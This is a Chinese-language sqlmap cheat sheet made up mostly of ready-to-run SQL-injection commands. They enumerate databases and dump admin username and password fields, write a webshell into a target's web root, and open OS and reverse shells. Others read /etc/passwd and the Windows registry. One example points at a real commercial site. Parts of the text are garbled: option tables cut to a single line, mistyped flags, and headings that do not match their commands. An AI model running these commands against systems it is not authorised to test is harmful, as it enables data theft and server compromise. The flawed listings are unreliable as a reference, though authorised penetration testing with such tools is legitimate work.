Sqlmap
sqlmap简介
sqlmap支持五种不同的注入模式:
- 1、基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
- 2、基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
- 3、基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
- 4、联合查询注入,可以使用union的情况下的注入。
- 5、堆查询注入,可以同时执行多条语句的执行时的注入。
sqlmap支持的数据库有
MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB
检测注入
基本格式
1 | sqlmap -u “http://www.vuln.cn/post.php?id=1” |
默认使用level1检测全部数据库类型
1 | sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 |
指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)
跟随302跳转
当注入页面错误的时候,自动跳转到另一个页面的时候需要跟随302,
当注入错误的时候,先报错再跳转的时候,不需要跟随302。
目的就是:要追踪到错误信息。
cookie注入
当程序有防get注入的时候,可以使用cookie注入
1 | sqlmap -u “http://www.baidu.com/shownews.asp” –cookie “id=11” –level 2(只有level达到2才会检测cookie) |
从post数据包中注入
可以使用burpsuite或者temperdata等工具来抓取post包
1 | sqlmap -r “c:\tools\request.txt” -p “username” –dbms mysql 指定username参数 |
注入成功后
获取数据库基本信息
1 | sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 –dbs |
查询有哪些数据库
1 | sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test –tables |
查询test数据库中有哪些表
1 | sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test -T admin –columns |
查询test数据库中admin表有哪些字段
1 | sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test -T admin -C “username,password” –dump |
dump出字段username与password中的数据
其他命令参考下面
从数据库中搜索字段
1 | sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password |
在dedecms数据库中搜索字段admin或者password。
读取与写入文件
首先找需要网站的物理路径,其次需要有可写或可读权限。
–file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)
–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)
–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径
示例:
sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php”
使用shell命令:
sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell
接下来指定网站可写目录:
“E:\php\htdocs\dvwa”
注:mysql不支持列目录,仅支持读取单个文件。sqlserver可以列目录,不能读写文件,但需要一个(xp_dirtree函数)
SQLMAP基础信息
获取当前用户名称
1 | python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --current-user |
获取当前数据库名称
1 | python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --current-db |
获取表名
1 | python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" -D security --tables |
获取字段
1 | python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" -D security -T users --columns |
获取字段内容
1 | python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" -D security -T users -C id --dump |
SQLMAP进阶信息内容
执行测试等级
1 | python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --level 2 |
指定数据库类型
1 | python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --dbms "Mysql" |
列数据库用户
1 | python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --users |
列数据库
1 | python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --dbs |
数据库用户密码
1 | python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --passwords |
列出指定用户数据库密码
1 | python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --passwords -U root |
查看权限
1 | python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --privileges |
查看指定用户权限
1 | python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --privileges -U root |
是否是数据库管理员
1 | python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --is-dba |
枚举数据库用户角色
1 | python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" --roles |
导入用户自定义函数(获取系统权限!)
1 | sqlmap/sqlmap.py -u "http://url/news?id=1" --udf-inject |
cookie注入
1 | python sqlmap/sqlmap.py -u "http://url/news?id=1" --cookie "COOKIE_VALUE" |
获取banner信息
1 | python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" -b |
post注入
1 | python sqlmap/sqlmap.py -u "http://url/news?id=1" --data "id=3" |
指纹判别数据库类型
1 | python sqlmap.py -u "http://127.0.0.1/sql/Less-1/?id=1" -f |
代理注入
1 | python sqlmap/sqlmap.py -u "http://url/news?id=1" --proxy"http://127.0.0.1:8118" |
指定关键词
1 | python sqlmap/sqlmap.py -u "http://url/news?id=1"--string"STRING_ON_TRUE_PAGE" |
执行系统命令
1 | python sqlmap/sqlmap.py -u "http://url/news?id=1" --file /etc/passwd |
统交互shell
1 | python sqlmap/sqlmap.py -u "http://url/news?id=1" --os-shell |
反弹shell
1 | python sqlmap/sqlmap.py -u "http://url/news?id=1" --os-pwn |
读取win系统注册表
1 | python sqlmap/sqlmap.py -u "http://url/news?id=1" --reg-read |
保存进度
1 | python sqlmap/sqlmap.py -u "http://url/news?id=1" --dbs-o "sqlmap.log" |
恢复已保存进度
1 | python sqlmap/sqlmap.py -u "http://url/news?id=1" --dbs -o "sqlmap.log" --resume |
sqlmap详细命令:
1 | –is-dba 当前用户权限(是否为root权限) |
Options(选项):
1 | -h, --help 显示基本帮助信息 |
- 保存进度继续跑:
1 | sqlmap -u “http://url/news?id=1“ –dbs-o “sqlmap.log” 保存进度 |
Target(目标):
以下至少需要设置其中一个选项,设置目标URL。
1 | -d DIRECT 直接连接到数据库。 |
Request(请求):
这些选项可以用来指定如何连接到目标URL。
1 | --data=DATA 通过 POST 方法提交的数据字符串--param-del=PDEL 用于分割参数值的字符 |
Enumeration(枚举):
这些选项可以用来列举后端数据库管理系统的信息、表中的结构和数据。此外,您还可以运行
您自己的SQL语句
1 | -a, --all 检索一切 |
Optimization(优化):
这些选项可用于优化SqlMap的性能。
1 | -o 开启所有优化开关 |
Injection(注入):
这些选项可以用来指定测试哪些参数, 提供自定义的注入payloads和可选篡改脚本。
1 | -p TESTPARAMETER 测试参数 |
Detection(检测):
这些选项可以用来指定在SQL盲注时如何解析和比较HTTP响应页面的内容。
1 | --level=LEVEL 执行测试的等级(1-5, 默认 1) |
Techniques(技巧):
这些选项可用于调整具体的SQL注入测试。
1 | --technique=TECH 使用的 SQL 注入技术(默认使用所有技术)--time-sec=TIMESEC DBMS 响应的延迟秒数(默认 5) |
Fingerprint(指纹):
1 | -f, --fingerprint 执行检查广泛的DBMS版本指纹 |
用户定义函数注入:
1 | --udf-inject 注入用户自定义函数 |
Brute force(蛮力):
这些选项可以被用来运行蛮力检查。
1 | –common-tables 检查存在共同表 |
User-defined function injection(用户自定义函数注入):
这些选项可以用来创建用户自定义函数。
1 | –udf-inject 注入用户自定义函数 |
强制使用 SSL/HTTPS
1 | --hpp 使用 HTTP 参数污染 |
File system access(访问文件系统):
这些选项可以被用来访问后端数据库管理系统的底层文件系统。
1 | –file-read=RFILE 从后端的数据库管理系统文件系统读取文件 |
Operating system access(操作系统访问):
这些选项可以用于访问后端数据库管理系统的底层操作系统。
1 | –os-cmd=OSCMD 执行操作系统命令 |
Windows注册表访问:
这些选项可以被用来访问后端数据库管理系统Windows注册表。
1 | –reg-read 读一个Windows注册表项值 |
这些选项可以用来设置一些一般的工作参数。
1 | -s SESSIONFILE 从存储(.sqlite)文件中读取会话 |
Miscellaneous(杂项):
1 | -z MNEMONICS 使用短记忆法(e.g. "flu,bat,ban,tec=EU") |